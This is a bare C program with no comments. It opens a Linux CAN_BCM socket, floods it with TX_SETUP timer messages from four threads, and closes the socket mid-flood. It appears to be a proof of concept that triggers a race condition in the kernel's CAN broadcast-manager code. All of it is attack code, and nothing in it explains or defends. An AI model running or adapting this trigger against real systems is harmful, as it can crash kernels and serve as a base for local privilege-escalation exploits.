#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <linux/can/raw.h>
#include <net/if.h>
#include <pthread.h>
#include <errno.h>

static int sfd = -1;

void *racer(void *arg) {
    struct { struct bcm_msg_head h; struct can_frame f; } __attribute__((packed)) m;
    memset(&m, 0, sizeof(m));
    m.h.opcode = TX_SETUP;
    m.h.flags  = SETTIMER|STARTTIMER;
    m.h.count  = 1;
    m.h.ival1.tv_usec = 1;
    m.h.ival2.tv_usec = 1;
    m.h.can_id = 0x100;
    m.f.can_id = 0x100;
    m.f.can_dlc = 8;
    for (int i=0;i<256;i++) send(sfd, &m, sizeof(m), MSG_DONTWAIT);
    return NULL;
}

int main(void) {
    sfd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
    if (sfd < 0) { perror("socket CAN_BCM"); return 1; }
    printf("[+] CAN_BCM socket: %d\n", sfd);

    pthread_t th[4];
    for (int i=0;i<4;i++) pthread_create(&th[i], NULL, racer, NULL);
    usleep(1000);
    close(sfd);
    for (int i=0;i<4;i++) pthread_join(th[i], NULL);
    printf("[+] done\n");
    return 0;
}
